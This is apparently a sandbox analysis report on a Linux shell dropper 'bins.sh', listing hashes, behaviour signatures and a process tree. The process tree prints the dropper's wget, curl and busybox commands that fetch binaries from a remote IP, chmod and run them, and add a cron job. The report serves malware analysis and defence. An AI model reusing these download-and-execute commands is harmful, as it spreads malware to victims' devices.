Analysis
-
max time kernel
150s -
max time network
151s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
09-11-2024 04:36
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
b164ba45909c2c3923c1328c84712f04
-
SHA1
6c7aa04d410f4e2f7c66291e784eda77d29c0ea3
-
SHA256
c78dfecb3f191e715bcb5c289d282871c859640c7d41a463db38e3d9daad3dee
-
SHA512
ddb359eeca5e1e44ea04e720bc6eb7ad5117851fc7991fed872de68277f8606e4c5a437e148d9f932388a62e00fe80f30ba31ca5d225b3783e1310eade95907e
-
SSDEEP
192:CN5mNFBzT2MUNQs+aRaLvbLU8Pa2h5dbzXGN5mNFjOMUNQsDcLvrU8Pa2N5dl:CN5mNFBzT2MUNQs+aRS35dbzXGN5mNFr
Malware Config
Signatures
-
Contacts a large (2132) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid process 751 chmod -
Executes dropped EXE 1 IoCs
Processes:
d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQURioc pid process /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR 752 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR -
Renames itself 1 IoCs
Processes:
d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQURpid process 753 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.IDzWtb crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQURcrontabdescription ioc process File opened for reading /proc/814/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/854/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1082/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1104/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1121/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/711/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/780/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/990/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1131/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/762/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/916/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/945/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/951/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/962/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1113/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/filesystems crontab File opened for reading /proc/82/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/211/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/747/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/774/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/807/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/853/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1123/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/843/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1003/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1133/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/777/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/816/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/897/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1036/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/831/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/888/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/982/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1074/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1089/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1101/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1119/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/763/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/766/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/781/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/879/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/952/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/997/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1110/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1005/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1098/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1139/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/720/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/851/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/866/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/905/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/933/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/947/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/955/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/331/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/767/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1091/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/3/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/759/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/838/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/967/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1105/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR File opened for reading /proc/1111/cmdline d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxwgetcurldescription ioc process File opened for modification /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR busybox File opened for modification /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR wget File opened for modification /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:720
-
/bin/rm/bin/rm bins.sh2⤵PID:724
-
/usr/bin/wgetwget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Writes file to tmp directory
PID:726 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Writes file to tmp directory
PID:746 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Writes file to tmp directory
PID:750 -
/bin/chmodchmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- File and Directory Permissions Modification
PID:751 -
/tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:752 -
/bin/shsh -c "crontab -l"3⤵PID:754
-
/usr/bin/crontabcrontab -l4⤵PID:755
-
/bin/shsh -c "crontab -"3⤵PID:756
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:757 -
/bin/rmrm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR2⤵PID:761
-
/usr/bin/wgetwget http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵PID:843
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU2⤵PID:852
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
210B
MD5891d4a89e2b3c0424626d0ec75ad64f6
SHA1ebd971248540e7c867c246d0ae136276314fe285
SHA25659478495418eb662f869ac18ef3763bc1d2ddb4ad192d5aab2cf595eb623956a
SHA5125f38d9bb851bbc6b721c1893d64e5bfbfb4ad9e8a5e52da42c7577e8942b92af1f6be9e90c1b8a1e242c99e4497b9b1a71226d9d2bd89d03132a330d7ca08aa6